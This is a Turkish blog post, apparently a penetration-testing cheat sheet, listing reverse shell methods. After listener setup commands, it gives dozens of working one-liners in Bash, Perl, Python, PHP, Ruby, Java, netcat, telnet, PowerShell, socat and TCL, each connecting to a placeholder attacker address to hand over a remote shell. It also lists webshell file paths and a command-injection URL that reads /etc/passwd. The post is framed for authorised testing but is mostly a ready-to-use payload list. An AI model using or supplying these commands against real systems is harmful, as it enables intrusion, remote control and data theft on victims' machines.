Sızma Testlerinde Ters Bağlantı Yöntemleri

0
215
views
Sızma testleri sırasında ele geçirilen veya ele geçirilecek olan sistemlerde komut çalıştırabilmek için ters bağlantı elde edilme ihtiyacı olabilmektedir. Kullanılan işletim sistemleri ve sürümlerine göre, yüklü uygulamalara göre veya mevcut altyapıya göre ters bağlantı yöntemi değişebilmektedir. Bu yazıda çeşitli ters bağlantı yöntemleri listelenecektir.

Not: Bu yazının kapsamına, MSFvenom ile oluşturulan dosyalar, arka kapılar, harici uygulamalar dahil edilmemiştir.

Yazıda kullanılacak olan saldırgan makinenin (Sunucu_Saldirgan_IP) TCP&UDP 10443 portunun açılmış olduğu varsayılmaktadır.

nc -nlvp 10443

socat file:tty,echo=0,raw udp-listen:10443

socat file:tty,echo=0,raw tcp-listen:10443

socat TCP-LISTEN:10443,reuseaddr FILE:tty,raw,echo=0

nc -u -l 10443

 

Kurban makinede çalışabilecek olan farklı yöntemdeki komutların listesi alt başlıklarda incelenecektir. Yöntemler ile ilgili bazı notlar aşağıdaki gibi sıralanabilir.

  • Kullanılan bir çok yöntemde kurban makinenin Linux olduğu varsayılmıştır. Kabuk değeri değiştirilerek (/bin/sh –> cmd.exe) Windows sistemde çalışılabilecek şekilde de kullanılabilir.
  • Linux sistemlerde ters bağlantı alırken, karşılaşılan sayılar (3,4,5,6 gibi) dosya tanımlayıcılarını (file descriptor) ifade eder. Dosya tanımlayıcıları ile ilgili ayrıntılı bilgi için kaynaklardaki WordPress bağlantısı incelenebilir.
  • Kurban makinede “nc” yerine “/bin/nc.traditional” veya “/bin/nc.openbsd” tercih edilebilir.
  • Kurban makinede (Solaris gibi) “term” komutunun PATH değişkeninde olmaması durumunda tam dosya yolu (/usr/openwin/bin/term) yazılmalıdır.
  • GAPING_SECURITY_HOLE seçeneğinin devre dışı bırakıldığı sistemlerde “nc” aracı “-e” ile kullanılamamaktadır.
  • Socat bağlantıları SSL ile şifrelenmiş trafiği, IPv6 ile iletişimi de destekler.
  • Dosya yolları, saldırgana ait olan Kali dağıtımları içindir.

 

Bash

/bin/bash -i >& /dev/tcp/Sunucu_Saldirgan_IP/10443 0>&1

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/Sunucu_Saldirgan_IP/10443; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443
cat <&5 | while read line; do $line 2>&5 >&5; done
while read line 0<&5; do $line 2>&5 >&5; done

 

Perl (Linux)

perl -e ‘use Socket;$i=”Sunucu_Saldirgan_IP”;$p=10443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Perl (Windows – Fork Olmadan)

perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”Sunucu_Saldirgan_IP:10443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Perl – Dosya

/usr/share/webshells/perl/perl-reverse-shell.pl

 

Perl – Dosya (Komut Enjeksiyonu)

/usr/share/webshells/perl/perlcmd.cgi
http://Kurban_IP/perlcmd.cgi?cat /etc/passwd

 

ColdFusion (Dosya)

/usr/share/webshells/cfm/cfexec.cfm

 

ASP (Dosya)

/usr/share/webshells/asp/

 

ASPX (Dosya)

/usr/share/webshells/aspx/

 

JSP (Dosya)

/usr/share/webshells/jsp/jsp-reverse.jsp

 

Python (TCP)

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“Sunucu_Saldirgan_IP”,10443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

python -c “exec(\”import socket, subprocess;s = socket.socket();s.connect((‘Sunucu_Saldirgan_IP’,10443))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\”)”

 

Python (UDP)

import subprocess;subprocess.Popen([“python”, “-c”, ‘import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\”Sunucu_Saldirgan_IP\”, 10443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\”HISTFILE\”,\”/dev/null\”);pty.spawn(\”/bin/sh\”);s.close()’])

 

PHP

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$sock=fsockopen(“Sunucu_Saldirgan_IP”,10443);/bin/sh -i <&3 >&3 2>&3;’

php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);system(“/bin/sh -i <&3 >&3 2>&3”);’

php -r ‘$s=fsockopen(“Sunucu_Saldirgan_IP”,10443);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’

 

PHP Findsock (Dosya)

/usr/share/webshells/php/php-reverse-shell.php

 

PHP FindSock (Dosya – C ile Derlenerek)

/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c

 

Ruby

ruby -rsocket -e’f=TCPSocket.open(“Sunucu_Saldirgan_IP”,10443).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

“/bin/sh” gibi bir kabuğa bağımlılık istenmiyorsa;

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Ruby (Windows – Fork Olmadan)

ruby -rsocket -e ‘c=TCPSocket.new(“Sunucu_Saldirgan_IP”,”10443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/Sunucu_Saldirgan_IP/10443;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

 

nc

nc -e /bin/sh Sunucu_Saldirgan_IP 10443

nc -c /bin/bash Sunucu_Saldirgan_IP 10443

“-e” seçeneği kullanılamıyorsa;

/bin/sh | nc Sunucu_Saldirgan_IP 10443

rm -f /tmp/p; mknod /tmp/p p && nc Sunucu_Saldirgan_IP 10443 0/tmp/p

rm -f /tmp/backpipe; mknod /tmp/backpipe p && nc Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Sunucu_Saldirgan_IP 10443 >/tmp/f

 

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet Sunucu_Saldirgan_IP 10443 0/tmp/p

rm -f /tmp/backpipe; mknod /tmp/backpipe p && telnet Sunucu_Saldirgan_IP 10443 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe

Saldırganın dinlediği bir portun (20443) çıktısından dinleyen ikinci porta ters bağlantı alınacaksa;

telnet Sunucu_Saldirgan_IP 20443 | /bin/bash | telnet Sunucu_Saldirgan_IP 10443

 

Xterm

Kali’de dinleyicinin başlatılır;

Xnest :1

xterm -display 127.0.0.1:1

Kali’de kurban IP’ye bağlanılması için izin verilmelidir

xhost +KurbanIP

Sonrasında bağlantı yakalanabilir.

xterm -display Sunucu_Saldirgan_IP:1

DISPLAY=Sunucu_Saldirgan_IP:0 xterm

 

Powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“Sunucu_Saldirgan_IP”,10443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 

Powershell (Dosya)

/usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1

 

Socat

socat tcp-connect:Sunucu_Saldirgan_IP:10443 exec:”bash -li”,pty,stderr,setsid,sigint,sane

socat tcp4:Sunucu_Saldirgan_IP:10443 EXEC:bash,pty,stderr,setsid,sigint,sane

 

TCL

echo ‘set s [socket Sunucu_Saldirgan_IP 10443];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

GWAK

 

Kaynak:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://highon.coffee/blog/reverse-shell-cheat-sheet/
http://www.codemania.it/2018/05/04/reverse-shell-cheat-sheet/
https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Sistem Programlama-2 open() close()
https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz